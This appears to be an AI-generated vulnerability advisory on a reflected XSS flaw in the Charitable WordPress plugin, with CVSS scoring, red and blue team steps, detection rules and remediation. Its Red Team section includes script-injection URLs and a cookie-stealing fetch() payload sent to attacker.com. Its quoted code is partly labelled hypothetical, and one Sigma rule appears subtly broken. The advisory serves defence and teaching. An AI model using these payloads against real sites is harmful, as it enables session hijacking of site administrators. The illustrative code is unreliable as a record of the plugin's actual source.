CVE-2024-10876

Executive Summary

CVE-2024-10876 is a Reflected Cross-Site Scripting (XSS) vulnerability in the Charitable – Donation Plugin for WordPress (versions up to and including 1.8.3). The flaw arises from the insecure use of add_query_arg and remove_query_arg functions without proper output escaping when constructing URLs. An unauthenticated attacker can inject arbitrary web scripts that execute in the context of a victim’s browser if the victim clicks a crafted link. This vulnerability is part of the WordPress ecosystem and affects donation pages, campaign management, and related administrative interfaces.

CVSS Breakdown & Threat Level

• CVSS Score: 6.1 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must click a link)
• Scope: Changed (impact may extend beyond vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the plugin’s widespread use in fundraising sites increases risk. Exploitation requires user interaction, but phishing campaigns can easily deliver the malicious link.

Deep Dive & Mechanics

The vulnerability resides in the plugin’s URL handling logic. The functions add_query_arg and remove_query_arg are used to modify query parameters without escaping the output. When these functions are called with user-supplied input (e.g., via $_SERVER['REQUEST_URI'] or $_GET parameters), the resulting URL is not sanitized. An attacker can craft a URL like:

https://victim-site.com/wp-admin/admin.php?page=charitable-settings&tab=<script>alert('XSS')</script>

When the victim clicks this link, the script executes in the browser. The vulnerability is reflected, meaning the payload is immediately returned in the response without being stored.

Vulnerable vs. Patched Code

Vulnerable Code (charitable/includes/admin/class-charitable-admin-pages.php):

$url = add_query_arg( 'tab', $tab, remove_query_arg( 'updated', $url ) );
echo $url; // No escaping

Patched Code (hypothetical fix):

$url = add_query_arg( 'tab', $tab, remove_query_arg( 'updated', $url ) );
echo esc_url( $url ); // Proper escaping

The fix requires wrapping the output with esc_url() to encode special characters and prevent script injection.

Exploitation & Lab Setup

Red Team

1. Setup: Install WordPress 6.x with Charitable plugin 1.8.3 on a local server (e.g., XAMPP or Docker).
2. Craft Payload: Use a URL like:

   http://localhost/wp-admin/admin.php?page=charitable-settings&tab=<script>alert(document.cookie)</script>
   

3. Deliver: Send the link via email or social engineering. When the admin clicks, the script executes.
4. Advanced Payload: Steal session cookies:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

Blue Team

1. Monitor Logs: Check web server access logs for unusual query parameters containing <script> or onerror patterns.
2. WAF Rules: Block requests with tab= containing <script or %3Cscript.
3. User Training: Educate admins not to click suspicious links, especially those containing charitable-settings.

Indicators of Compromise (IOCs)

• URL Patterns: Requests to /wp-admin/admin.php?page=charitable-settings&tab= containing <script, %3Cscript, onerror, alert(, or fetch(.
• Log Entries: HTTP 200 responses to the above URLs with non-standard tab values.
• Network Traffic: Outbound connections from the victim’s browser to attacker-controlled domains (if payload exfiltrates data).

Detection Engineering

YARA Rule

rule CVE_2024_10876_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts against Charitable plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-10876"
    strings:
        $payload1 = /tab=<script[^>]*>/
        $payload2 = /tab=%3Cscript/
        $payload3 = /tab=.*onerror/
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS Attempt Against Charitable Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts targeting Charitable plugin admin pages
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: GET
        cs-uri-query|contains:
            - 'page=charitable-settings'
            - 'tab=<script'
            - 'tab=%3Cscript'
            - 'tab=.*onerror'
    condition: selection
falsepositives:
    - Legitimate use of script tags in tab names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-10876 Reflected XSS Charitable Plugin"; flow:to_server,established; content:"GET"; http_method; content:"/wp-admin/admin.php"; http_uri; content:"page=charitable-settings"; http_uri; pcre:"/tab=<script[^>]*>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate: Disable the Charitable plugin until a patch is released.
• Workaround: Add a Web Application Firewall (WAF) rule to block requests containing tab=<script or tab=%3Cscript.
• Long-term: Monitor the plugin’s repository for updates. Apply the vendor’s patch when available.
• Code Fix: Replace echo $url; with echo esc_url( $url ); in all affected files.

Valters IT Signature
This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.